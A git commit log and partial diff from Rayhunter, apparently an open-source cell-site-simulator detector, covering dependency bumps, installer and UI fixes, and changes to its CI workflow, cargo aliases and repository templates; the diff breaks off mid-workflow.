44c7f31fec Bump svelte from 5.43.2 to 5.53.0 in /installer-gui
Bumps [svelte](https://github.com/sveltejs/svelte/tree/HEAD/packages/svelte) from 5.43.2 to 5.53.0.
- [Release notes](https://github.com/sveltejs/svelte/releases)
- [Changelog](https://github.com/sveltejs/svelte/blob/main/packages/svelte/CHANGELOG.md)
- [Commits](https://github.com/sveltejs/svelte/commits/svelte@5.53.0/packages/svelte)

---
updated-dependencies:
- dependency-name: svelte
  dependency-version: 5.53.0
  dependency-type: direct:development
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-02-23 16:41:10 -08:00
Markus Unterwaditzer
301107be6c add context to background nc 2026-02-23 11:18:47 -08:00
Markus Unterwaditzer
7b97ffc01d raise error for timeout 2026-02-23 11:18:47 -08:00
Markus Unterwaditzer
b72712faa2 error case 2026-02-23 11:18:47 -08:00
Markus Unterwaditzer
05fdc0eee2 do not use debug_assert 2026-02-23 11:18:47 -08:00
Markus Unterwaditzer
8fb27b08f9 Fix telnet_send_command_with_output returning the input
telnet_send_command_with_output returns output with the original command
contained. This leads to higher-level bugs. Fix #894

Also, change telnet_send_command_with_output to not return any "exit
code" related output. This is now only part of telnet_send_command,
which means this output does not leak into users of the DeviceConnection
trait.
2026-02-23 11:18:47 -08:00
Matthew Martin
062db87572 Use Vec::with_capacity (#891)
Co-authored-by: Matthew Martin <phy1729@Matthews-Mac-mini.local>
2026-02-17 18:55:34 +01:00
Andrej Walilko
9b6c4cee0b api documentation (#876)
* api documentation

* utoipa openapi docs generator

---------

Co-authored-by: Andrej Walilko <awalilko@liquidweb.com>
2026-02-17 01:41:15 +01:00
Jake P
9d50db40b9 docs: add note about insecure download (#883)
* docs: add note about insecure download

* Apply suggestion from @untitaker

---------

Co-authored-by: Markus Unterwaditzer <markus-github@unterwaditzer.net>
2026-02-15 16:50:16 +01:00
Ember
d41c4bba3e messages could be larger than 1MB when 100 messages are combined, changed to every 256KB space is checked. 2026-02-12 18:06:42 -08:00
Ember
1d5ed54033 deduplicated code a bit with a wrapper 2026-02-12 18:06:42 -08:00
Ember
24e79aad9d Handled suggestions from PR. 2026-02-12 18:06:42 -08:00
Ember
bc7dcc97c6 Removed redundant annotations inlined the defaults 2026-02-12 18:06:42 -08:00
Ember
480b6f8681 Add visual for GUI; fix clippy issue. 2026-02-12 18:06:42 -08:00
Ember
0c624c2bc2 Add disk space monitoring to recording lifecycle 2026-02-12 18:06:42 -08:00
Ember
ec6967e2a1 Revert silent IPC error drop, restore expect per review 2026-02-12 09:23:13 -08:00
Ember
912f7dfeaa Disable autocorrect/autocapitalize on CLI args input 2026-02-12 09:23:13 -08:00
Ember
51f1a33e86 Update Cargo.lock for shlex dependency 2026-02-12 09:23:13 -08:00
Ember
87c79bddf7 Input validation fix, along with changing expect so it won't crash 2026-02-12 09:23:13 -08:00
TERR-inss
5efa12f358 fix conditional rendering and conditional text logic, use more-stable faq url 2026-02-12 13:00:36 +01:00
TERR-inss
e77fe469da add direct link to FAQ in web UI where rayhunter log analysis returns warnings 2026-02-12 13:00:36 +01:00
Markus Unterwaditzer
ed8b1903f8 Re-add API_TARGET envvar 2026-02-10 17:06:20 -08:00
Markus Unterwaditzer
89d1d71ec9 Improve the default of FIRMWARE_DEVEL again, fix brew install gcc command 2026-02-10 17:06:20 -08:00
Markus Unterwaditzer
9be35de90e Address review feedback 2026-02-10 17:06:20 -08:00
Markus Unterwaditzer
8f9be746d3 Trim down documentation and script verbosity 2026-02-10 17:06:20 -08:00
BeigeBox
1347e3107a Support for admin pass 2026-02-10 17:06:20 -08:00
BeigeBox
715efc4b0d Basic scripts to build from source and run install. Nothing fancy. 2026-02-10 17:06:20 -08:00
Markus Unterwaditzer
836ec2169d Revamp installing-from-source docs 2026-02-10 17:06:20 -08:00
Markus Unterwaditzer
9128eefcfc advise against upgrading and add some dramatic styling to this 2026-02-10 17:06:00 -08:00
Markus Unterwaditzer
4f3c7fb7a9 Add warning to moxee page
see #865
2026-02-10 17:06:00 -08:00
BeigeBox
2d3824072d Added check if retcode was 201 when getting the login_response, and giving an error that says it's the pw 2026-02-08 15:08:14 +01:00
Cooper Quintin
ed2781a4be appease clippy 2026-02-05 15:41:54 -08:00
Cooper Quintin
ffcf683ae5 appease npm 2026-02-05 15:41:54 -08:00
Cooper Quintin
49fd777c83 fix nits and add to config.toml 2026-02-05 15:41:54 -08:00
Cooper Quintin
84a3155a1f remove broken attach request and format 2026-02-05 15:41:54 -08:00
Cooper Quintin
184f4bd7a2 rename to diagnostic and add docs 2026-02-05 15:41:54 -08:00
Cooper Quintin
f7759721e3 rebase against main 2026-02-05 15:41:54 -08:00
Cooper Quintin
744d0772c2 add message type 2026-02-05 15:41:54 -08:00
Cooper Quintin
2cd49b3757 show false postive attach reject message 2026-02-05 15:41:54 -08:00
Cooper Quintin
e44230c043 imsi revealing message diagnostic heuristic 2026-02-05 15:41:54 -08:00
Cooper Quintin
e27da68b5d bump version to 0.10.1 2026-02-05 12:27:09 -08:00
Markus Unterwaditzer
2a68c99897 Revert "Add warning about default routes"
This reverts commit 9ae1563286.

Reverts #804
Reverts #830

Reopens #345
2026-02-05 12:21:07 -08:00
dependabot[bot]
987d95c23e Bump rsa from 0.9.8 to 0.9.10 (#853)
Bumps [rsa](https://github.com/RustCrypto/RSA) from 0.9.8 to 0.9.10.
- [Changelog](https://github.com/RustCrypto/RSA/blob/v0.9.10/CHANGELOG.md)
- [Commits](https://github.com/RustCrypto/RSA/compare/v0.9.8...v0.9.10)

---
updated-dependencies:
- dependency-name: rsa
  dependency-version: 0.9.10
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-02-05 21:06:41 +01:00
dependabot[bot]
9ef6b43dac Bump time from 0.3.41 to 0.3.47
Bumps [time](https://github.com/time-rs/time) from 0.3.41 to 0.3.47.
- [Release notes](https://github.com/time-rs/time/releases)
- [Changelog](https://github.com/time-rs/time/blob/main/CHANGELOG.md)
- [Commits](https://github.com/time-rs/time/compare/v0.3.41...v0.3.47)

---
updated-dependencies:
- dependency-name: time
  dependency-version: 0.3.47
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-02-05 10:45:54 -08:00
Cooper Quintin
ffc42f6ffd bump version to 0.10.0 2026-02-04 13:42:38 -08:00
Markus Unterwaditzer
2781b3c7ed Remove wrong timestamp correction from diag 2026-02-04 13:36:46 -08:00
Markus Unterwaditzer
fd63210bf9 Fix prettier lint 2026-02-04 13:36:46 -08:00
Markus Unterwaditzer
a271c4ddf4 Update wording in the clock sync UI (apply suggestions from code review)
Co-authored-by: Will Greenberg <willg@eff.org>
2026-02-04 13:36:46 -08:00
Markus Unterwaditzer
bef6b51e28 Add button to set current time
When there is a significant difference between the user's browser's time
and the system time, a button appears in the web UI to fix the system
time. This time will then be used to correct both data inside of PCAPs
and any metadata.

We don't actually set the system time to this value. Instead, rayhunter
adjusts any timestamps it handles by an offset. That offset defaults to
zero, and the user adjusts it by hitting the button in the web UI. The
main reason for this is device portability.

I haven't investigated whether it would actually be easy to set the real
system time. It's possible that it works the same way across all
devices.
2026-02-04 13:36:46 -08:00
Markus Unterwaditzer
781d07230c Correct FAQ entries to refer to correct shell
The orbic now has many different shells, crosslink to the docs on shells
to find the right one.

Fix #753
Ref https://github.com/EFForg/rayhunter/discussions/842
2026-02-04 10:57:22 -08:00
Markus Unterwaditzer
1f171521e4 Filter out asn1_codecs warnings in rayhunter-daemon
...and make a small UI change so that folks won't get concerned about parsing errors.

Right now all the "undecoded extensions" noise goes into
rayhunter-daemon.log, and users get concerned about it when browsing
that through the UI.
2026-02-04 10:55:54 -08:00
Harrison Marley
5b2cf3cec4 Mention Vodafone Pocket Wifi 5 availability
Added information about 'Vodafone Pocket Wifi 5' availability in Australia.
2026-02-04 10:55:39 -08:00
Cooper Quintin
62e8d4c40f appease untitaker 2026-02-04 10:54:23 -08:00
Cooper Quintin
72c19e0f04 update docs and version 2026-02-04 10:54:23 -08:00
Cooper Quintin
9b52f46c1a appease clippy 2026-02-04 10:54:23 -08:00
Cooper Quintin
51d4e86b3a cargo fmt 2026-02-04 10:54:23 -08:00
Cooper Quintin
33fafd4707 report lack of LTE neighbors 2026-02-04 10:54:23 -08:00
Cooper Quintin
6e4cbac4b1 convert int to option 2026-02-04 10:54:23 -08:00
Cooper Quintin
b453c92d6a Update lib/src/analysis/priority_2g_downgrade.rs
Co-authored-by: Will Greenberg <willg@eff.org>
2026-02-04 10:54:23 -08:00
Cooper Quintin
733c8b227d Update lib/src/analysis/analyzer.rs
Co-authored-by: Will Greenberg <willg@eff.org>
2026-02-04 10:54:23 -08:00
Markus Unterwaditzer
b43217ef35 Fix compilation errors 2026-02-04 10:54:23 -08:00
Cooper Quintin
40a0dec361 appease clippy 2026-02-04 10:54:23 -08:00
Cooper Quintin
b2d5ed356f cargo fmt 2026-02-04 10:54:23 -08:00
Cooper Quintin
6033757ddb compare gsm and 3g priorities to LTE priorities and only alert if higher priority or only non LTE neighbors exist 2026-02-04 10:54:23 -08:00
dependabot[bot]
6b4f98183e Bump bytes from 1.10.1 to 1.11.1 (#847)
Bumps [bytes](https://github.com/tokio-rs/bytes) from 1.10.1 to 1.11.1.
- [Release notes](https://github.com/tokio-rs/bytes/releases)
- [Changelog](https://github.com/tokio-rs/bytes/blob/master/CHANGELOG.md)
- [Commits](https://github.com/tokio-rs/bytes/compare/v1.10.1...v1.11.1)

---
updated-dependencies:
- dependency-name: bytes
  dependency-version: 1.11.1
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-02-03 20:38:53 +01:00
kmille
bd2329d6cc Show tracking area code for test heuristic in UI (#843) 2026-02-03 10:59:15 +01:00
Michael S.
d1311e0ba3 Docs: Add note about non-default credentials to install instructions and modify link target (#839) 2026-02-02 11:44:20 +01:00
Markus Unterwaditzer
75cf03d638 Fix rayhunter chugging on when diag device failed to initialize
Ref #676 -- this is a partial fix for one of the issues mentioned there.

I expect that as a result we'll get more bugreports about rayhunter not
starting, since right now those errors are "masked" by this bug.
2026-02-01 20:32:40 +01:00
Markus Unterwaditzer
be15035ad4 Use /proc/net/route instead of ip route command
Fix #811, allegedly /proc/net/route is almost always available, and no
additional dependency is needed at all.
2026-01-30 12:16:32 -08:00
Markus Unterwaditzer
a3d0d8f4f9 Better support for firmware-devel profile
Currently you have to override a bunch of paths to use firmware-devel
when building the installer. This changes that, and adds a new
FIRMWARE_PROFILE envvar that can be used to fix both rootshell and
rayhunter-daemon paths at the same time.

There is now also a new cargo command for building rootshell, similar to
how building the daemon firmware works.

I'm not sure what to do with make.sh. I have personally never used it.
2026-01-30 21:09:12 +01:00
Markus Unterwaditzer
2c30218743 Add donation button to UI 2026-01-30 10:14:57 -08:00
Markus Unterwaditzer
eb65214989 Add FAQ to issue templates 2026-01-30 10:14:57 -08:00
Markus Unterwaditzer
8d86aeb591 Restructure docs, make FAQ more prominent 2026-01-30 10:14:57 -08:00
Markus Unterwaditzer
23cef7349e Upgrade num-bigint-dig
This dependency is causing warnings during compilation, vieable with `cargo report future-incompatibilities --id 1`
2026-01-29 20:03:22 +01:00
Markus Unterwaditzer
07e0115192 Add disclaimer about flickering 2026-01-29 20:02:09 +01:00
Markus Unterwaditzer
82b53c6187 Display: Implement High Vis Mode
Work around #722 (we should probably still fix it properly)
Fix #779
2026-01-29 20:02:09 +01:00
Markus Unterwaditzer
883175aa59 Disable blank issues again
There are too many questions in the issue tracker recently.
2026-01-29 11:01:46 -08:00
Brad Warren
bd52718ea7 add {daemon,rootshell}_needed GHA outputs 2026-01-28 15:31:27 -08:00
Markus Unterwaditzer
d607c63cc8 Do not overwrite configs by default
On tplink and orbic, do not overwrite config files by default. There is
a new flag `installer orbic --reset-config` that one can use to restore
the old behavior. This fixes #778, a long-standing issue existent since
0.3.0.

The businesslogic for config file overrides is shared to some degree.
The Install trait from pinephone.rs has been moved out and renamed to
DeviceConnection for that purpose, so that `install_config` can be
shared across installers, which in turn can delegate to the trait for
running commands and copying files. This also works towards #542.

However, the pinephone and other installers have not been adapted to
support --reset-config out of fear of regressions. A future refactor by
somebody with ability to test on pinephone should probably also consider
using the same DeviceConnection impl as orbic, if possible.
2026-01-28 10:35:57 -08:00
Will Greenberg
9e08e662ff installer-gui: add an npm prepare step
seems this is required due to
https://github.com/sveltejs/kit/blob/main/packages/kit/CHANGELOG.md#minor-changes-34
2026-01-27 11:54:36 -08:00
dependabot[bot]
08920e02b8 Bump @sveltejs/kit from 2.48.3 to 2.50.1 in /installer-gui
Bumps [@sveltejs/kit](https://github.com/sveltejs/kit/tree/HEAD/packages/kit) from 2.48.3 to 2.50.1.
- [Release notes](https://github.com/sveltejs/kit/releases)
- [Changelog](https://github.com/sveltejs/kit/blob/main/packages/kit/CHANGELOG.md)
- [Commits](https://github.com/sveltejs/kit/commits/@sveltejs/kit@2.50.1/packages/kit)

---
updated-dependencies:
- dependency-name: "@sveltejs/kit"
  dependency-version: 2.50.1
  dependency-type: direct:development
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-01-27 11:54:36 -08:00
Markus Unterwaditzer
7e2df91702 Fix battery warnings on unsupported devices
Fix #644, break early if battery is unsupported.
2026-01-26 11:22:47 -08:00
Markus Unterwaditzer
262f583355 Add price information to the orbic page
Since rayhunter is getting more popular let's set some expectations
around pricing. There are currently offers ranging from 20 to 90 USD,
and people should understand that the 20 USD offer is not a fake, or
anything like that.
2026-01-26 11:13:21 -08:00
Markus Unterwaditzer
9ae1563286 Add warning about default routes
I hope this puts a lot of questions about SIM cards to rest. I found
that the warning also sometimes applies to "dead" SIM cards which have
expired a long time ago.

Run `busybox ip route` to determine whether the device has an active SIM
card. That command has been manually tested on Moxee, Orbic and TP-Link.
It's prefixed with `busybox` because that makes it more likely it would
work on UZ801, though it wasn't tested there. If the command invocation
fails, the alert is suppressed and a warning is logged.

The command is only run once on pageload. It could've been part of the
status endpoint, but then the UI would poll it way too often.
2026-01-26 11:08:38 -08:00
Markus Unterwaditzer
2bd6efa503 UI: Enforce snake case for functions
It's more common to write functions in camelCase in JS, so some people
started doing it, including me. But the majority of the codebase is
snake_case, so let's enforce that.
2026-01-26 10:35:22 -08:00
Markus Unterwaditzer
e06769158b add #build-all functionality to CI 2026-01-26 10:33:56 -08:00
Markus Unterwaditzer
b341ef2d1e Fix stuck green display after restarting recording
Rayhunter keeps track of the highest-severity warning seen during a
recording, and only updates the display color when a new event
exceeds that level. When a double-tap restarts recording, this
threshold isn't reset, so it retains the old session's maximum. Since no
new event can surpass the stale threshold, the display stays stuck on
green even when warnings are detected.

Fix #794
2026-01-26 10:33:56 -08:00
dependabot[bot]
3a807f48b2 Bump @sveltejs/kit from 2.46.2 to 2.49.5 in /daemon/web
Bumps [@sveltejs/kit](https://github.com/sveltejs/kit/tree/HEAD/packages/kit) from 2.46.2 to 2.49.5.
- [Release notes](https://github.com/sveltejs/kit/releases)
- [Changelog](https://github.com/sveltejs/kit/blob/main/packages/kit/CHANGELOG.md)
- [Commits](https://github.com/sveltejs/kit/commits/@sveltejs/kit@2.49.5/packages/kit)

---
updated-dependencies:
- dependency-name: "@sveltejs/kit"
  dependency-version: 2.49.5
  dependency-type: direct:development
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-01-15 23:55:28 +01:00
dependabot[bot]
bc3f0bf515 Bump devalue from 5.4.2 to 5.6.2 in /installer-gui
Bumps [devalue](https://github.com/sveltejs/devalue) from 5.4.2 to 5.6.2.
- [Release notes](https://github.com/sveltejs/devalue/releases)
- [Changelog](https://github.com/sveltejs/devalue/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sveltejs/devalue/compare/v5.4.2...v5.6.2)

---
updated-dependencies:
- dependency-name: devalue
  dependency-version: 5.6.2
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-01-15 23:55:13 +01:00
Rupert Carr
d3290a2c2d Add test notification endpoint and UI button
- Add POST /api/test-notification endpoint to send test to saved config URL
- Refactor send_notification to return Result instead of bool
- Add NotificationError enum for proper error handling
- Add test notification button in config UI with explanatory text
- Button tests saved configuration URL, not input field value
2026-01-07 14:18:18 +01:00
Rupert Carr
579c2c1f3f Add e2e tests for notification worker and extract send_notification helper 2026-01-07 14:18:18 +01:00
101 changed files with 5116 additions and 5394 deletions

View File

@@ -8,4 +8,8 @@ ignore = [
# user-input. we could get rid of this warning by disabling the image
# dependency in adb-client.
"RUSTSEC-2024-0436",
# rustls-webpki 0.102.8 CRL Distribution Point flaw (via rustls-rustcrypto).
# Only affects dev builds, production firmware uses ring-tls.
# TODO: Remove once rustls-rustcrypto releases a version newer than 0.0.2-alpha.
"RUSTSEC-2026-0049",
]

View File

@@ -1,10 +1,16 @@
[alias]
# Build the daemon with "firmware" profile and "ring" TLS backend.
# Requires a cross-compiler (see github actions workflows) and is very slow to build.
build-daemon-firmware = "build -p rayhunter-daemon --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile firmware --no-default-features --features ring-tls"
# Build the daemon with "firmware" profile and post-quantum TLS backend.
# Needs an arm-linux-musleabihf cross-compiler in PATH, e.g. a toolchain
# from https://musl.cc, or run inside messense/rust-musl-cross:armv7-musleabihf
# (which is what CI does, see .github/workflows/main.yml).
build-daemon-firmware = "build -p rayhunter-daemon --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile firmware --no-default-features --features pq-tls"
# Build the daemon with "firmware-devel" profile and "rustcrypto" backend.
# Works with just the Rust toolchain, and is medium-slow to build. Binaries are slightly larger.
build-daemon-firmware-devel = "build -p rayhunter-daemon --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile firmware-devel"
# Build rootshell for firmware
build-rootshell-firmware = "build -p rootshell --bin rootshell --target armv7-unknown-linux-musleabihf --profile firmware"
# Build rootshell for development
build-rootshell-firmware-devel = "build -p rootshell --bin rootshell --target armv7-unknown-linux-musleabihf --profile firmware-devel"
[target.aarch64-apple-darwin]
linker = "rust-lld"

1
.gitattributes vendored
View File

@@ -7,3 +7,4 @@
dist/config.toml.in eol=lf
dist/scripts/misc-daemon eol=lf
dist/scripts/rayhunter_daemon eol=lf
scripts/*.sh eol=lf

View File

@@ -1,5 +1,7 @@
blank_issues_enabled: true
blank_issues_enabled: false
contact_links:
- name: Frequently Asked Questions
url: https://efforg.github.io/rayhunter/faq.html
- name: Questions and community
url: https://efforg.github.io/rayhunter/support-feedback-community.html
about: If you're having trouble using Rayhunter and aren't sure you've found a bug or request for a new feature, please first try asking for help on GitHub discussions or Mattermost

41
.github/dependabot.yml vendored Normal file
View File

@@ -0,0 +1,41 @@
version: 2
updates:
# Rust dependencies
- package-ecosystem: "cargo"
directory: "/"
schedule:
interval: "weekly"
groups:
dependency-type:
patterns:
- "*"
# Python dependencies
- package-ecosystem: "pip"
directory: "/tools"
schedule:
interval: "weekly"
groups:
dependency-type:
patterns:
- "*"
# daemon/web Node.js dependencies
- package-ecosystem: "npm"
directory: "/daemon/web"
schedule:
interval: "weekly"
groups:
dependency-type:
patterns:
- "*"
# installer-gui Node.js dependencies
- package-ecosystem: "npm"
directory: "/installer-gui"
schedule:
interval: "weekly"
groups:
dependency-type:
patterns:
- "*"

View File

@@ -1,7 +1,13 @@
## Pull Request Checklist
- [ ] The Rayhunter team has recently expressed interest in reviewing a PR for this. If not, this PR may be closed due our limited resources and need to prioritize how we spend them.
- [ ] The Rayhunter team has recently expressed interest in reviewing a PR for this.
- If not, this PR may be closed due our limited resources and need to prioritize how we spend them.
- [ ] Added or updated any documentation as needed to support the changes in this PR.
- [ ] Code has been linted and run through `cargo fmt`
- [ ] If any new functionality has been added, unit tests were also added
- [ ] [./CONTRIBUTING.md](../CONTRIBUTING.md) has been read
- [ ] Code has been linted and run through `cargo fmt`.
- [ ] If any new functionality has been added, unit tests were also added.
- [ ] [CONTRIBUTING.md](https://github.com/EFForg/rayhunter/blob/main/CONTRIBUTING.md) has been read.
- [ ] Your pull request is fewer than ~400 lines of code.
You must check one of:
- [ ] No generative AI (including LLMs) tools were used to create this PR.
- [ ] Generative AI was used to create this PR. I certify that I have read and understand the code, and *that all comments and descriptions were authored by myself* and are not the product of generative AI.

View File

@@ -20,13 +20,14 @@ jobs:
permissions:
contents: read
outputs:
code_changed: ${{ steps.files_changed.outputs.code_count }}
daemon_changed: ${{ steps.files_changed.outputs.daemon_count }}
web_changed: ${{ steps.files_changed.outputs.web_count }}
docs_changed: ${{ steps.files_changed.outputs.docs_count }}
installer_changed: ${{ steps.files_changed.outputs.installer_count }}
installer_gui_changed: ${{ steps.files_changed.outputs.installer_gui_count }}
rootshell_changed: ${{ steps.files_changed.outputs.rootshell_count }}
code_changed: ${{ steps.files_changed.outputs.code_count != '0' }}
daemon_changed: ${{ steps.files_changed.outputs.daemon_count != '0' }}
daemon_needed: ${{ steps.files_changed.outputs.daemon_count != '0' || steps.files_changed.outputs.installer_build != '0' }}
web_changed: ${{ steps.files_changed.outputs.web_count != '0' }}
docs_changed: ${{ steps.files_changed.outputs.docs_count != '0' || steps.files_changed.outputs.daemon_count != '0' }}
installer_changed: ${{ steps.files_changed.outputs.installer_count != '0' }}
installer_gui_changed: ${{ steps.files_changed.outputs.installer_gui_count != '0' }}
rootshell_needed: ${{ steps.files_changed.outputs.rootshell_count != '0' || steps.files_changed.outputs.installer_build != '0' }}
steps:
- uses: actions/checkout@v4
with:
@@ -37,14 +38,18 @@ jobs:
run: |
lcommit=${{ github.event.pull_request.base.sha || 'origin/main' }}
# If we are on main, or if these workflow files are being changed, run everything
if [ ${GITHUB_REF} = 'refs/heads/main' ] || git diff --name-only $lcommit..HEAD | grep -qe ^.github/workflows/ -e ^.cargo
# If we are on main, if workflow/cargo config files changed, or if
# the latest commit message contains "#build-all", run everything.
# Use #build-all in a commit message to force a full build on a PR
# branch (useful for testing release builds without merging to main).
if [ ${GITHUB_REF} = 'refs/heads/main' ] || git diff --name-only $lcommit..HEAD | grep -qe ^.github/workflows/ -e ^.cargo || git log -1 --format='%s %b' | grep -qF '#build-all'
then
echo "building everything"
echo code_count=forced >> "$GITHUB_OUTPUT"
echo daemon_count=forced >> "$GITHUB_OUTPUT"
echo web_count=forced >> "$GITHUB_OUTPUT"
echo docs_count=forced >> "$GITHUB_OUTPUT"
echo installer_build=forced >> "$GITHUB_OUTPUT"
echo installer_count=forced >> "$GITHUB_OUTPUT"
echo installer_gui_count=forced >> "$GITHUB_OUTPUT"
echo rootshell_count=forced >> "$GITHUB_OUTPUT"
@@ -53,15 +58,25 @@ jobs:
echo "daemon_count=$(git diff --name-only $lcommit...HEAD | grep -e ^daemon -e ^lib -e ^telcom-parser | wc -l)" >> "$GITHUB_OUTPUT"
echo "web_count=$(git diff --name-only $lcommit...HEAD | grep -e ^daemon/web | wc -l)" >> "$GITHUB_OUTPUT"
echo "docs_count=$(git diff --name-only $lcommit...HEAD | grep -e ^book.toml -e ^doc | wc -l)" >> "$GITHUB_OUTPUT"
echo "installer_count=$(git diff --name-only $lcommit...HEAD | grep -e ^installer/ | wc -l)" >> "$GITHUB_OUTPUT"
echo "installer_gui_count=$(git diff --name-only $lcommit...HEAD | grep -e ^installer-gui | wc -l)" >> "$GITHUB_OUTPUT"
echo "rootshell_count=$(git diff --name-only $lcommit...HEAD | grep -e ^rootshell | wc -l)" >> "$GITHUB_OUTPUT"
installer_count=$(git diff --name-only $lcommit...HEAD | grep -e ^installer/ | wc -l)
installer_gui_count=$(git diff --name-only $lcommit...HEAD | grep -e ^installer-gui | wc -l)
if [ $installer_count != "0" ] || [ $installer_gui_count != "0" ]; then
echo "installer_build=1" >> "$GITHUB_OUTPUT"
else
echo "installer_build=0" >> "$GITHUB_OUTPUT"
fi
echo "installer_count=$installer_count" >> "$GITHUB_OUTPUT"
echo "installer_gui_count=$installer_gui_count" >> "$GITHUB_OUTPUT"
fi
mdbook_test:
name: Test mdBook Documentation builds
needs: files_changed
if: needs.files_changed.outputs.docs_changed != '0'
if: needs.files_changed.outputs.docs_changed == 'true'
runs-on: ubuntu-latest
permissions:
contents: read
@@ -69,25 +84,25 @@ jobs:
- uses: actions/checkout@v4
with:
persist-credentials: false
- uses: Swatinem/rust-cache@v2
- name: Install mdBook
run: |
cargo install mdbook --no-default-features --features search --vers "^0.4" --locked
- name: Test mdBook
run: mdbook test
mdbook_publish:
name: Publish mdBook to Github Pages
mdbook_build:
name: Build mdBook for Github Pages
needs: mdbook_test
if: ${{ github.ref == 'refs/heads/main' }}
permissions:
pages: write
contents: write
id-token: write
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
- uses: Swatinem/rust-cache@v2
- name: Install mdBook
run: |
cargo install mdbook --no-default-features --features search --vers "^0.4" --locked
@@ -95,18 +110,15 @@ jobs:
- name: Build mdBook
run: mdbook build
- name: Setup Pages
uses: actions/configure-pages@v4
- name: Upload artifact
uses: actions/upload-pages-artifact@v3
uses: actions/upload-artifact@v4
with:
name: book
path: book
- name: Deploy to Github Pages
uses: actions/deploy-pages@v4
check_and_test:
needs: files_changed
if: needs.files_changed.outputs.code_changed != '0'
if: needs.files_changed.outputs.code_changed == 'true'
runs-on: ubuntu-latest
permissions:
contents: read
@@ -140,7 +152,7 @@ jobs:
# installer-gui isn't one of the default workspace packages
# 2) avoid slowing down development on changes unrelated to the GUI installer
needs: files_changed
if: needs.files_changed.outputs.installer_gui_changed != '0'
if: needs.files_changed.outputs.installer_gui_changed == 'true'
# we run this on macos simply because no additional OS packages need to be
# installed
runs-on: macos-latest
@@ -164,7 +176,7 @@ jobs:
test_daemon_frontend:
needs: files_changed
if: needs.files_changed.outputs.web_changed != '0'
if: needs.files_changed.outputs.web_changed == 'true'
runs-on: ubuntu-latest
permissions:
contents: read
@@ -182,7 +194,7 @@ jobs:
test_installer_frontend:
needs: files_changed
if: needs.files_changed.outputs.installer_gui_changed != '0'
if: needs.files_changed.outputs.installer_gui_changed == 'true'
runs-on: ubuntu-latest
permissions:
contents: read
@@ -199,7 +211,7 @@ jobs:
windows_installer_check_and_test:
needs: files_changed
if: needs.files_changed.outputs.installer_changed != '0'
if: needs.files_changed.outputs.installer_changed == 'true'
runs-on: windows-latest
permissions:
contents: read
@@ -220,7 +232,7 @@ jobs:
NO_FIRMWARE_BIN=true cargo test --verbose --no-default-features
build_rayhunter_check:
if: needs.files_changed.outputs.daemon_changed != '0'
if: needs.files_changed.outputs.daemon_changed == 'true'
needs:
- check_and_test
- files_changed
@@ -266,7 +278,7 @@ jobs:
if-no-files-found: error
build_rootshell:
if: needs.files_changed.outputs.rootshell_changed != '0' || needs.files_changed.outputs.installer_changed != '0'
if: needs.files_changed.outputs.rootshell_needed == 'true'
needs:
- check_and_test
- files_changed
@@ -290,10 +302,7 @@ jobs:
if-no-files-found: error
build_rayhunter:
# build_rust_installer needs this step. so when installer_changed, we need
# to build this step too. if we skip this step because only the installer
# changed, the build_rust_installer step will be skipped too.
if: needs.files_changed.outputs.daemon_changed != '0' || needs.files_changed.outputs.installer_changed != '0'
if: needs.files_changed.outputs.daemon_needed == 'true'
needs:
- check_and_test
- files_changed
@@ -305,27 +314,25 @@ jobs:
- uses: actions/checkout@v4
with:
persist-credentials: false
- uses: dtolnay/rust-toolchain@stable
with:
targets: armv7-unknown-linux-musleabihf
- uses: Swatinem/rust-cache@v2
- name: Install ARM cross-compilation toolchain
run: sudo apt-get update && sudo apt-get install -y gcc-arm-linux-gnueabihf
- name: Build rayhunter-daemon (armv7)
- name: Build frontend
run: |
pushd daemon/web
npm install
npm run build
popd
# Run with -p so that cargo will select the minimum feature set for this package.
#
# Otherwise, it will consider the union of all requested features
# from all packages in the workspace. For example, if installer
# requires tokio with "full" feature, it will be included no matter
# what the feature selection in rayhunter-daemon is.
#
# https://github.com/rust-lang/cargo/issues/4463
CC_armv7_unknown_linux_musleabihf=arm-linux-gnueabihf-gcc cargo build-daemon-firmware
- name: Build rayhunter-daemon (armv7)
# Cross-compile inside messense/rust-musl-cross, which bundles an
# arm-linux-musleabihf cross gcc that aws-lc-sys needs.
run: |
mkdir -p "$HOME/.cargo-musl-cross"
docker run --rm \
--user "$(id -u):$(id -g)" \
-v "$PWD":/work \
-v "$HOME/.cargo-musl-cross":/cargo-home \
-e CARGO_HOME=/cargo-home \
-w /work \
messense/rust-musl-cross:armv7-musleabihf \
cargo build-daemon-firmware
- uses: actions/upload-artifact@v4
with:
name: rayhunter-daemon
@@ -333,7 +340,7 @@ jobs:
if-no-files-found: error
build_rust_installer:
if: needs.files_changed.outputs.installer_changed != '0'
if: needs.files_changed.outputs.installer_changed == 'true'
permissions:
contents: read
packages: write
@@ -381,7 +388,7 @@ jobs:
if-no-files-found: error
build_installer_gui_linux:
if: needs.files_changed.outputs.installer_gui_changed != '0'
if: needs.files_changed.outputs.installer_gui_changed == 'true'
permissions:
contents: read
packages: write
@@ -437,7 +444,7 @@ jobs:
if-no-files-found: error
build_installer_gui_macos:
if: needs.files_changed.outputs.installer_gui_changed != '0'
if: needs.files_changed.outputs.installer_gui_changed == 'true'
permissions:
contents: read
packages: write
@@ -480,7 +487,7 @@ jobs:
if-no-files-found: error
build_installer_gui_windows:
if: needs.files_changed.outputs.installer_gui_changed != '0'
if: needs.files_changed.outputs.installer_gui_changed == 'true'
permissions:
contents: read
packages: write
@@ -571,3 +578,57 @@ jobs:
rayhunter-v${{ env.VERSION }}-${{ matrix.platform }}.zip
rayhunter-v${{ env.VERSION }}-${{ matrix.platform }}.zip.sha256
if-no-files-found: error
openapi_build:
if: needs.files_changed.outputs.docs_changed == 'true'
needs:
